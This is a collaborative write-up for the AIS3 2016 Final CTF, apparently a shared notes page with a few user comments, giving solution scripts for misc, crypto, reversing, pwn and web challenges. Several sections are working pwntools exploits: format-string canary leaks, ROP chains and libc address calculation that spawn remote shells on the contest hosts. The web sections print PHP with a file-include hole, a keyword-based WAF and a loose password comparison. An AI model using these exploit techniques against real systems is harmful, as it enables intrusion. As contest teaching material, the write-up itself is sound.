IL
Inndy Lin 9 years ago
我的手機跑 skype.apk 會直接 crash Q__Q
RL
Rockey LIao 9 years ago
那要先通靈確定是gmail帳號
JY
Jasper Yu 9 years ago
Web都能通靈了(O
然後其實可以套mail的pattern
AC
Allen Chou 9 years ago
懇請有人提供備份版,這網址在外網是無法存取的
- AIS3 2016 Final CTF Writeup
- 我把這份文件改成唯獨了,想要修改請聯絡助教(Inndy)
- Misc1
- Solution 1 - 兩張圖相疊後可得(需支援透明圖層)
- Solution 2 - XOR
- Solution 3 - DIFF門薩認證
- Solution 4 - compare
- Misc 2
- Solution 1
- Solution 2
- Misc 3
- Crypto 1 (Forensic)
- Crypto 2
- Crypto 3
- Binary 1
- Solution 1
- Solution 2
- Binary 2
- Binary 3
- Remote 1
- Remote 2
- Remote 3
- Exploit 1
- Exploit 2
- Web 1
- Web 2
- Web 3
Misc1
Solution 1 - 兩張圖相疊後可得(需支援透明圖層)
Solution 2 - XOR
Solution 3 - DIFF門薩認證
Solution 4 - compare
compare -compose src pub_ball.png pub_mon.png out.png
Misc 2
Solution 1
Solution 2
Misc 3
Crypto 1 (Forensic)
Crypto 2
from pwn import *
import time
context(log_level='ERROR') # disable annoying log from pwn tools
def test(data):
while True:
try:
io = remote('final.ais3.org', 40051)
io.sendline(data)
io.recvuntil('Your ciphertext is: ')
ret = io.recvline()[:-1]
io.close()
return ret
except:
time.sleep(2)
def mix(a, b):
return [ i if i != '*' else j for i, j in zip(a, b) ]
def recovery(data):
curr = list(test(data))
while any(i for i in curr if i == '*'):
curr = mix(curr, list(test(data)))
ret = ''.join(curr)
return ret
def run(char):
print('running ... %s' % char)
return recovery(char)
printable = ''.join(map(chr, range(0x20, 0x7f)))
flag = 'ais3{' # 'C4reful_0f_c0'
while True:
len_guess_mapping = {} # length -> guess string
for guess in printable:
test_string = flag + guess
length = len(run(test_string).decode('base64'))
len_guess_mapping[length] = test_string
flag = len_guess_mapping[min(len_guess_mapping)]
print(flag)
if '}' in flag:
break
Crypto 3
# exploit from Lays (https://gist.github.com/L4ys/746abec527034e8a6a2999bbbe10a6c3)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import * # pip install pwntools
sha1 = pwnlib.util.hashes.sha1sum
r = remote("localhost", 4000)
# r = process("./stack_guard")
libc = ELF("./libc.so.6")
et = ""
# read 1200 bytes from et
for i in range(75):
r.sendline("")
r.recvuntil("canary: ")
data = r.recvline()[:-1]
et += unhex(data)
log.info("%d bytes read" % len(et))
# calc next canary
canary = sha1(et[1180:1200] + et[600:644])[:16]
log.info("next canary=%s" % enhex(canary))
# rop
buf = 0x602360
puts = 0x4008A0
read = 0x4008F0
pop_rdi = 0x400fd3
pop_rsi_r15 = 0x400fd1
pop_rbp = 0x4009e0
leave = 0x400b5b
payload = "A" * 256 + canary + "A" * 8
# puts("gg")
payload += p64(pop_rdi) + p64(0x400FF8) # gg
payload += p64(puts)
# puts(puts@got)
payload += p64(pop_rdi) + p64(0x602028) # puts
payload += p64(puts)
# read(0, buf, rdx)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(buf) + p64(0)
payload += p64(read)
# pivot
payload += p64(pop_rbp) + p64(buf)
payload += p64(leave)
r.sendline(payload)
r.recvuntil("gg\n")
libc_puts = u64(r.recv(8)[:-1].ljust(8, "\0"))
libc_base = libc_puts - libc.symbols["puts"]
log.info("libc_base = " + hex(libc_base))
libc_system = libc_base + libc.symbols["system"]
libc_sh = libc_base + next(libc.search('sh\x00'))
# system("sh")
payload = p64(0)
payload += p64(pop_rdi) + p64(libc_sh)
payload += p64(libc_system)
r.sendline(payload)
r.sendline("id")
r.interactive()
Binary 1
Solution 1
flag_check = [0x32, 0x21, 0x3b, 0x1c, 0xe0, 0x39, 0x74, 0xa0, 0x62, 0x81, 0xfe, 0x1c, 0xf7, 0x66, 0x62, 0x03, 0xe0, 0x2d, 0x63, 0x68, 0xd0, 0xb5, 0x6b, 0xed, 0x89, 0x35, 0x45, 0xff, 0x32, 0x12, 0xb6, 0x93]
table = 'qwertyuiopasdfghjklzxcvbnm'
key = 'thisisthekey'
a = range(256)
sum = 0
for i in xrange(256):
sum += a[i] + ord(key[i % len(key)])
sum %= 256
a[i], a[sum] = a[sum], a[i]
suma = 0
index = 0
flag_xor = ''
for i in xrange(len(flag_check)):
index += 1
index %= 256
suma = suma + a[index]
suma %= 256
a[index], a[suma] = a[suma], a[index]
temp = a[suma] + a[index]
temp %= 256
flag_xor += chr(flag_check[i] ^ a[temp])
print flag_xor
flag = ''
for i in flag_xor:
if i.islower():
flag += chr(table.index(i) + 97)
else:
flag += i
print "flag:", flag
Solution 2
#!/usr/bin/env python3
# solved by Inndy
from Crypto.Cipher import ARC4 # pip3 install pycrypto
crypted = [
0x32, 0x21, 0x3B, 0x1C, 0xE0, 0x39, 0x74, 0xA0,
0x62, 0x81, 0xFE, 0x1C, 0xF7, 0x66, 0x62, 0x03,
0xE0, 0x2D, 0x63, 0x68, 0xD0, 0xB5, 0x6B, 0xED,
0x89, 0x35, 0x45, 0xFF, 0x32, 0x12, 0xB6, 0x93
]
cipher = ARC4.new(b'thisisthekey')
decrypted = cipher.encrypt(bytes(crypted))
rev_map = str.maketrans(
'qwertyuiopasdfghjklzxcvbnm',
'abcdefghijklmnopqrstuvwxyz'
)
flag = decrypted.decode('ascii').translate(rev_map)
print(flag) # ais3{canyoucatchhundredmagikarp}
Binary 2
import os
import base64
flag = bytearray('ais3{{{{{{{{{{{{{{{{{{{{}')
' 1234567890123456789'
def guess(flag):
flag = str(flag)
print(flag)
os.system("echo '%s' | base64 -d | ./pin -t /home/inndy/pin-3.0-76991-gcc-linux/source/tools/ManualExamples/obj-intel64/inscount0.so -- ../rev2" % base64.b64encode(flag + '\n'))
return int(open('inscount.out').read().split()[-1])
base = guess(flag)
for idx in range(5, 5+19):
found = False
for i in range(0x20, 0x7f):
flag[idx] = chr(i)
curr = guess(flag)
print('diff: %d' % (curr - base))
if curr - base > 60000:
base = curr
found = True
break
if not found:
print('Error')
exit()
Binary 3
#include <stdio.h>
#include <string.h>
int count = 0;
char flag[45] = {
0x2B, 0x39, 0x34, 0x4E, 0x64, 0x54, 0x79, 0x79, 0x71, 0x56, 0x4E, 0x70, 0x53, 0x47, 0x74, 0x76,
0x64, 0x68, 0x68, 0x66, 0x6F, 0x44, 0x6D, 0x43, 0x79, 0x73, 0x49, 0x75, 0x49, 0x6A, 0x42, 0x64,
0x51, 0x2B, 0x57, 0x35, 0x73, 0x48, 0x36, 0x73, 0x7A, 0x67, 0x4D, 0x3D, 0x00
};
int cp[255] = {
0x1251232B, 0x000093EF, 0x000305C7, 0x0009A058, 0x000CB965, 0x0005CDAF, 0x000467F2, 0x000C392F,
0x00014488, 0x000C60B1, 0x00038119, 0x0009634E, 0x00058388, 0x0009CC26, 0x0002A25C, 0x000BACDA,
0x00056BF5, 0x000AF551, 0x0006BF80, 0x0009E2CC, 0x00025406, 0x0003A67D, 0x00075CA6, 0x0002ED27,
0x000CDDBC, 0x000D3351, 0x0007709D, 0x00041211, 0x000513EF, 0x0000FAC8, 0x000AC84E, 0x0005E510,
0x00011989, 0x000C5589, 0x0009639D, 0x000D186B, 0x000D65C4, 0x0008101A, 0x0000AF2E, 0x00091CF4,
0x000C4C30, 0x0008E396, 0x0009E45F, 0x00043B13, 0x0002C6E0, 0x000069CD, 0x0006B017, 0x00079B6A,
0x000A2093, 0x0006715A, 0x0008FB5C, 0x0009654D, 0x0002E2BF, 0x00008AA9, 0x0004D53D, 0x0002825F,
0x0001FB79, 0x00050855, 0x0003CCE3, 0x00066135, 0x0006CC49, 0x00022F7B, 0x000CDE7F, 0x000D0A14,
0x000691D5, 0x0006FD06, 0x000D125A, 0x000B369D, 0x0000BE6C, 0x0004E863, 0x000BD48A, 0x0008A204,
0x000588B0, 0x00067FFB, 0x0009B03C, 0x000CF26D, 0x000ACB5B, 0x0004AF79, 0x00088DB0, 0x00075FBC,
0x000C4C80, 0x0005B647, 0x00074318, 0x0008E349, 0x0002630F, 0x000CB627, 0x0006F696, 0x0002A8F3,
0x0004BEA0, 0x00062B7A, 0x000914A6, 0x0001A08B, 0x0006C60D, 0x0009A8F7, 0x000DB781, 0x0005E80D,
0x000282DF, 0x00068DCF, 0x000D43A5, 0x00077023, 0x0009E373, 0x0009FF05, 0x00081477, 0x000A4D46,
0x0001BF04, 0x000B25D1, 0x0004C6BB, 0x000496F4, 0x000C1C0B, 0x00045641, 0x000AFC87, 0x000A976B,
0x00094655, 0x0002A419, 0x000AFEC3, 0x000091A4, 0x000B5B26, 0x000BA36F, 0x000B5F61, 0x0009ED78,
0x000C02C1, 0x00025F68, 0x000D8A76, 0x000ABB06, 0x000D41CE, 0x00027348, 0x000287E4, 0x000B565B,
0x000BF2F0, 0x000AB8FB, 0x000BD4D8, 0x0008BD9F, 0x00034D4E, 0x00030D90, 0x00089F65, 0x0007A3AD,
0x00091915, 0x00011915, 0x0000A2E3, 0x000CFCDA, 0x000A691C, 0x00057458, 0x000127F4, 0x0006EDDA,
0x000A470C, 0x00065217, 0x0005B566, 0x0002C52C, 0x0005533F, 0x000253AD, 0x000684EA, 0x00026016,
0x000CFE11, 0x0004C9F6, 0x00017955, 0x000A1C6F, 0x00026710, 0x00027B9A, 0x0003FBB5, 0x00045F1D,
0x0009EC51, 0x000A0359, 0x000BAE67, 0x00083518, 0x0002430C, 0x000B85B0, 0x0001080B, 0x000CF573,
0x00048C7B, 0x000974B2, 0x00072DDC, 0x0001715B, 0x00008A73, 0x00092E7E, 0x0001AAE1, 0x000BD59E,
0x000BD0B0, 0x0001B475, 0x000026B2, 0x0006F94C, 0x00047994, 0x0006FF8D, 0x0008B119, 0x0000CF67,
0x000690FC, 0x000B8A0F, 0x000638D4, 0x0008B8D1, 0x000744CB, 0x00012623, 0x0006637B, 0x000584EF,
0x000BB30E, 0x0005C09A, 0x0001EA5F, 0x0005F749, 0x0000DB4E, 0x000BD167, 0x0000B620, 0x0005B4CF,
0x0002CC71, 0x00073FF0, 0x0009D5D1, 0x00064CD9, 0x000DA131, 0x00066CC6, 0x00060579, 0x0003F058,
0x000643DD, 0x0004BCF1, 0x0002B41C, 0x000C942D, 0x000CB1BB, 0x0007FE66, 0x00022E1B, 0x00011854,
0x0008C394, 0x00056E90, 0x0000F138, 0x0002575E, 0x00005CB7, 0x0003C508, 0x0003CA88, 0x000A637D,
0x0008F2A5, 0x000949F7, 0x0001ABD2, 0x000798CF, 0x000620AD, 0x0001B517, 0x000B5B91, 0x0009D246,
0x0005168E, 0x0008A330, 0x00051AF4, 0x000790C4, 0x0007F50E, 0x000BC531, 0x000CCA86, 0x0004EEED,
0x00038E05, 0x0000472B, 0x0008F53A, 0x00062406, 0x0003F960, 0x0002339A, 0x00091471, 0x0001378D,
0x000D888C, 0x0003C05C, 0x0007E149, 0x0005CC73, 0x00082432, 0x00097D89, 0x000DA0E3
};
int should(int count, signed int val)
{
switch ( count )
{
case 0: return 18492 * ((val ^ 62 * flag[3]) - val / flag[4] + 5 * flag[1]);
case 1: return 812 * ((val ^ 123 * flag[3]) - val / flag[5] + 52 * flag[7]);
case 2: return 156 * ((val ^ 99 * flag[8]) + val / flag[1] + -13 * flag[13]);
case 3: return 914 * ((val ^ 87 * flag[16]) + val / flag[9] + -50 * flag[4]);
case 4: return 7613 * ((val ^ 22 * flag[2]) + val / flag[7] + -34 * flag[18]);
case 5: return 8461 * ((val ^ 101 * flag[43]) + val / flag[16] + -63 * flag[11]);
case 6: return 13442 * ((val ^ 131 * flag[15]) + val / flag[29] + -109 * flag[0]);
case 7: return 769 * ((val ^ 72 * flag[33]) + val / flag[12] + -22 * flag[26]);
case 8: return 1563 * (val / flag[2] + (val ^ 57 * flag[17]) + -32 * flag[31]);
case 9: return 1269 * ((val ^ 34 * flag[17]) + val / flag[16] + -88 * flag[40]);
case 10: return 776 * ((val ^ 69 * flag[29]) + val / flag[14] + -132 * flag[13]);
case 11: return 913 * ((val ^ 13 * flag[26]) + val / flag[6] + -98 * flag[8]);
case 12: return 445 * ((val ^ 20 * flag[7]) + val / flag[14] + -46 * flag[24]);
case 13: return 701 * ((val ^ 31 * flag[42]) + val / flag[17] + -91 * flag[6]);
case 14: return 16803 * ((val ^ 191 * flag[1]) + val / flag[18] + -154 * flag[20]);
case 15: return 3331 * (val / flag[36] + (val ^ 205 * flag[27]) + -32 * flag[10]);
}
return -1;
}
void shuffle(int val)
{
if ( count == 0 )
{
flag[5] ^= val;
flag[10] ^= val;
flag[13] ^= val;
}
if ( count == 1 )
{
flag[1] ^= val;
flag[8] ^= val;
flag[2] ^= val;
}
if ( count == 2 )
{
flag[3] ^= val;
flag[4] ^= val;
flag[18] ^= val;
}
if ( count == 3 )
{
flag[7] ^= val;
flag[2] ^= val;
flag[9] ^= val;
}
if ( count == 4 )
{
flag[11] ^= val;
flag[16] ^= val;
flag[21] ^= val;
}
if ( count == 5 )
{
flag[35] ^= val;
flag[15] ^= val;
flag[29] ^= val;
}
if ( count == 6 )
{
flag[26] ^= val;
flag[17] ^= val;
flag[10] ^= val;
}
if ( count == 7 )
{
flag[43] ^= val;
flag[38] ^= val;
flag[22] ^= val;
}
if ( count == 8 )
{
flag[17] ^= val;
flag[40] ^= val;
flag[33] ^= val;
}
if ( count == 9 )
{
flag[29] ^= val;
flag[38] ^= val;
flag[26] ^= val;
}
if ( count == 10 )
{
flag[31] ^= val;
flag[15] ^= val;
flag[8] ^= val;
}
if ( count == 11 )
{
flag[14] ^= val;
flag[7] ^= val;
flag[22] ^= val;
}
if ( count == 12 )
{
flag[42] ^= val;
flag[15] ^= val;
flag[6] ^= val;
}
if ( count == 13 )
{
flag[1] ^= val;
flag[19] ^= val;
flag[4] ^= val;
}
if ( count == 14 )
{
flag[29] ^= val;
flag[28] ^= val;
flag[27] ^= val;
}
if ( count == 15 )
{
flag[34] ^= val;
flag[35] ^= val;
flag[36] ^= val;
}
}
int check_cp(int cp)
{
if ((count == 0 && should(count, cp) == 0xD3C0173C) ||
(count == 1 && should(count, cp) == 0x0B9A29E0) ||
(count == 2 && should(count, cp) == 0x017D1D34) ||
(count == 3 && should(count, cp) == 0x02A27B74) ||
(count == 4 && should(count, cp) == 0x42FF2CC3) ||
(count == 5 && should(count, cp) == 0xF8B0D78E) ||
(count == 6 && should(count, cp) == 0xA933E15C) ||
(count == 7 && should(count, cp) == 0x257C579F) ||
(count == 8 && should(count, cp) == 0x21EE75D4) ||
(count == 9 && should(count, cp) == 0xEE120F66) ||
(count == 10 && should(count, cp) == 0xF18AB6A8) ||
(count == 11 && should(count, cp) == 0xD61C1854) ||
(count == 12 && should(count, cp) == 0xEEDD6655) ||
(count == 13 && should(count, cp) == 0x097A72E3) ||
(count == 14 && should(count, cp) == 0xB5516C55) ||
(count == 15 && should(count, cp) == 0xB9BD651F))
{
printf("count = %d, cp = %d\n", count, cp);
shuffle(cp);
count++;
return 1;
}
return 0;
}
void gen_key()
{
int wtf[16]; // [sp+4h] [bp-54h]@1
int k; // [sp+44h] [bp-14h]@2
int length; // [sp+48h] [bp-10h]@1
int i; // [sp+4Ch] [bp-Ch]@1
wtf[0] = 144;
wtf[1] = 293;
wtf[2] = 377;
wtf[3] = 227;
wtf[4] = 15;
wtf[5] = -229;
wtf[6] = 24;
wtf[7] = 18;
wtf[8] = 143;
wtf[9] = 191;
wtf[10] = 94;
wtf[11] = 5;
wtf[12] = -11;
wtf[13] = -95;
wtf[14] = 126;
wtf[15] = 122;
length = strlen(flag);
for ( i = 0; i <= 15; ++i )
{
k = flag[(i + 1) % length] + flag[i % length] + flag[(i + 2) % length];
wtf[i] ^= k;
}
printf("Oh! I think the key is: ");
for ( i = 0; i <= 15; ++i )
putchar(wtf[i]);
putchar('\n');
puts("The IV is the same as the key.");
}
int main()
{
int i;
while(count < 16) {
for(i = 0; i < 256; i++) {
check_cp(cp[i]);
}
}
gen_key();
}
from Crypto.Cipher import AES
import base64
iv = key = b'M59eFh3j4510Pa89'
aes = AES.new(key, AES.MODE_CBC, iv)
data = base64.b64decode('+94NdTyyqVNpSGtvdhhfoDmCysIuIjBdQ+W5sH6szgM=')
flag = aes.decrypt(data)
print(flag)
Remote 1
from pwn import *
elf=ELF('./pwn1')
poprdiret=0x400903
sys=elf.plt["system"]
test=0x40078D
r=remote('final.ais3.org',32164)
print r.recvline()
print r.recvline()
#leak cookie
r.sendline("%11$llu")
cookie=int(r.recvline().split(" ")[5][:-1])
print hex(cookie)
#leak /bin/sh
r.sendline("%12$llu")
sh=int(r.recvline().split(" ")[5][:-1])-8
print hex(sh)
#break_while+cookie+sh_string+test讓system_got正確+gadget設定rdi+system
r.sendline("quit"+"A"*20+p64(cookie)+"/bin/sh\x00"+p64(test)+p64(poprdiret)+p64(sh)+p64(sys))
r.interactive()
# exploit from Inndy
from pwn import *
context(os='linux', arch='amd64')
#io = process('./pwn1')
io = remote('final.ais3.org', 32164)
# gdb.attach(io)
start = 0x00000000004006a0
pop_rdi = 0x0000000000400903
puts = 0x400610
system = 0x400630
_bin_sh = 0x400928
sig = "[type 'quit' to quit] prompt> "
def send(payload):
io.sendline(payload)
return io.recvuntil(sig)[:-len(sig)-1]
def rop(rochain):
io.recvuntil("[type 'quit' to quit] prompt> ")
canary = send('%11$p')
canary = p64(int(canary, 16))
send('A' * 24 + canary + 'A' * 8 + rochain)
io.sendline('quit')
io.recvuntil('bye!\n')
rop(p64(pop_rdi) + p64(_bin_sh) + p64(system))
io.interactive()
#def leak(addr):
# print('0x%.16x' % addr)
# rop(p64(pop_rdi) + p64(addr) + p64(puts) + p64(start))
# data = io.recvline()[:-1] + '\0'
# return data
#
#data = leak(0x601020) + '\0\0'
#puts = u64(data[:8])
#print('puts at %.16x' % puts)
#
#d = DynELF(leak, puts)
#system = d.lookup('system', 'libc')
#print(system)
Remote 2
# exploit from Inndy
from pwn import *
ropchain = p64(0x400623) + p64(0x400645) + p64(0x400430)
payload = 'A' * 44 + '\x2f' + p64(0x00601800) + p64(0x40056a)
payload += ropchain + 'B' * (44-24) + '\x2f' + p64(0x6017d0 - 8) + p64(0x4005b2)
open('payload', 'wb').write(payload)
io = remote('final.ais3.org', 35171)
io.sendline(payload)
io.interactive()
Remote 3
Exploit 1
#!/usr/bin/env python
#exploit from charles_yang
from pwn import * # pip install pwntools
pop_rdi = 0x0000000000400f53# : pop rdi ; ret
puts = 0x4006f0
pop_rsi_r15 = 0x0000000000400f51# : pop rsi ; pop r15 ; ret
_start = 0x4007b0
def buy(num):
r.sendline("1")
r.recvuntil("Your choice:")
r.sendline(num)
r.recvrepeat(0.5)
def trans(num):
r.sendline("2")
r.recvuntil("Which pokemon do you want to transfer :")
r.sendline(num)
r.recvrepeat(0.5)
def rename(num,name):
r.sendline("3")
r.recvuntil("Which pokemon do you want to rename :")
r.sendline(num)
r.recvuntil("Name:")
r.sendline(name)
r.recvrepeat(0.5)
while(1):
r = remote("localhost", 4000)
r.recvrepeat(0.5)
payload = "A"*40
payload += p64(pop_rdi) + p64(0x602028)
payload += p64(puts)
payload += p64(_start)
r.sendline(payload)
r.recvuntil("Your choice")
buy("4")
rename("0","A"*128)
r.sendline("4")
try:
puts_addr = u64(r.recvrepeat(0.5)[:6]+"\x00"*2)
if hex(puts_addr)[:4] != "0x7f":
r.close()
continue
print hex(puts_addr)
libc_base = puts_addr - 0x6b9f0
system_addr = libc_base + 0x414f0
sh_addr = libc_base + 0x161160
print hex(libc_base)
payload = "C"*72
payload += p64(pop_rdi) + p64(sh_addr)
payload += p64(pop_rsi_r15) + p64(0) + p64(0)
payload += p64(system_addr)
payload += "A"*8
r.sendline(payload)
r.recvuntil("Your choice")
buy("4")
rename("0","A"*128)
r.sendline("4")
r.interactive()
except:
r.close()
pass
Exploit 2
# exploit from Inndy
# notice: this exploit is untable and depend on ASLR, so please use attach.
# run with out ASLR may not work.
import time
from pwn import *
context(log_level = 'error')
# change these
#io = remote('127.0.0.1', 5566)
io = process('./pokeshop')
libc_puts = 0x677f0
libc_one_gadget = 0x3f41a
pop_rdi = 0x400f53
pop_rsi_r15 = 0x400f51
pop_rbp = 0x400810
ret = 0x400f54
start = 0x4007b0
read = 0x400720
scanf = 0x400780
puts = 0x4006f0
puts_got = 0x602028
str_p128s = 0x40134C
io.recvuntil('Your choice:') # wait main menu
io.sendline('1') # buy
io.recvuntil('Your choice:') # buy menu
io.sendline('3')
io.recvuntil('Buy successful')
ropchain = ''.join(map(p64, [
pop_rdi, puts_got, puts, start # leak puts
]))
ropchain = (p64(ret) * (128 // 8) + ropchain)[-128:]
# currently in main function, leave ropchain on the local buffer.
# we will corrupt stack frame later and try to trigger this ropchain.
io.sendline(ropchain)
def do_rename():
io.recvuntil('Your choice:') # wait main menu
io.sendline('3') # rename
io.recvuntil('Which pokemon do you want to rename :')
io.sendline('0')
io.recvuntil('Name:')
io.sendline('A'*128) # see 400dee, overwrite one null byte on saved rbp
do_rename()
#gdb.attach(io)
#raw_input('gdb attach and break on 0x400ee0')
io.recvuntil('Your choice:') # wait main menu
io.sendline('4') # exit
try:
puts = u64(io.recvline()[:-1].ljust(8, '\0'))
except EOFError:
puts = 0
if puts >> 40 != 0x7f:
print('Fail at step 1')
exit(1)
print('puts at 0x%.16x' % puts)
one_gadget = puts - libc_puts + libc_one_gadget
print('one gadget at 0x%.16x' % one_gadget)
ropchain = p64(one_gadget) * (128 // 8)
ropchain = ropchain[:128-40] + '\0' * 40
#gdb.attach(io)
#raw_input('gdb attach and break on 0x400ee0')
io.recvuntil('Your choice:') # wait main menu
io.sendline(ropchain)
do_rename()
io.recvuntil('Your choice:') # wait main menu
io.sendline('4')
time.sleep(0.5)
io.sendline('echo DONE')
try:
line = io.recvline()
except EOFError:
line = ''
if 'DONE' not in line:
print('Fail at step 2')
exit(1)
io.interactive()
Web 1
db.js備份
db = [
{username: "admin", password: "36d3e1bc65f8b67935ae60f542abef3e55c5bbbd547854966400cc4f022566cb"}
];
password: "36d3e1bc65f8b67935ae60f542abef3e55c5bbbd547854966400cc4f022566cb"
sha256解碼就得到密碼了(網路很多線上解密) 解密後: !@#$%^&*()_+
Web 2
<?php
include "db.php";
session_start();
function success()
{
echo json_encode(array("ret"=> "1", "msg" => "Success"));
exit();
}
function err($s, $hint = "")
{
if ($hint)
echo json_encode(array("ret"=> "0", "msg" => $s, "hint" => $hint));
else
echo json_encode(array("ret"=> "0", "msg" => $s));
exit();
}
function check_form($data)
{
return is_array($data) && isset($data["username"]) && isset($data["password"]);
}
if ($_SERVER["REQUEST_METHOD"] === "POST")
{
$data = json_decode(file_get_contents("php://input"), true);
if (check_form($data))
{
// $db is defined in db.php
foreach ($db as $user)
{
if($data["username"] == $user["username"] && $data["password"] == $user["password"])
{
$_SESSION["login"] = true;
$_SESSION["level"] = 2;
$_SESSION["username"] = $user["username"];
success();
break;
}
}
err("Username or Password error");
}
else
err("Invalid form", "Don't know what to do next? Get the source of login.php via sendding GET request to this page");
}
else
{
echo "Don't know what to do next?</br></br> Read source of <code>login.php</code> here: </br>";
show_source(__FILE__);
}
?>
Web 3
<?php
error_reporting(0);
define("FROM_INDEX", "true");
include_once "utils.php";
/* for hackers:
* In the AIS3 pre-exam last year, we know how to leak the source code by LFI.
* But there is a WAF now, can you bypass it?
*/
function waf()
{
$keywords = [
'select',
'union',
// My mum said that a good coding style is reuse the exists code.
// So I use SQLi WAF framework to find the query I want.
'flag'
];
foreach ($keywords as $key)
{
if (stristr($_SERVER['QUERY_STRING'], $key))
{
// only for "flag" page: only localhost admin can access it
if ($key === "flag")
{
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
bad("You are not localhost admin.");
}
}
else
{
hacker();
}
}
}
}
waf();
if (!isset($_GET['p']))
$_GET['p'] = 'welcome';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Snoopy Flag Service</title>
</head>
<body>
<h1>Snoopy Flag Service</h1>
<ul>
<li><a href="?p=welcome">Index</li>
<li><a href="?p=snoopy">Flag</a></li>
<!-- Only localhost admin can access it, I write a WAF for that. -->
<!-- <li><a href="?p=flag">Flag</a></li> -->
</ul>
<?php
include $_GET['p'] . '.php';
?>
</body>
</html>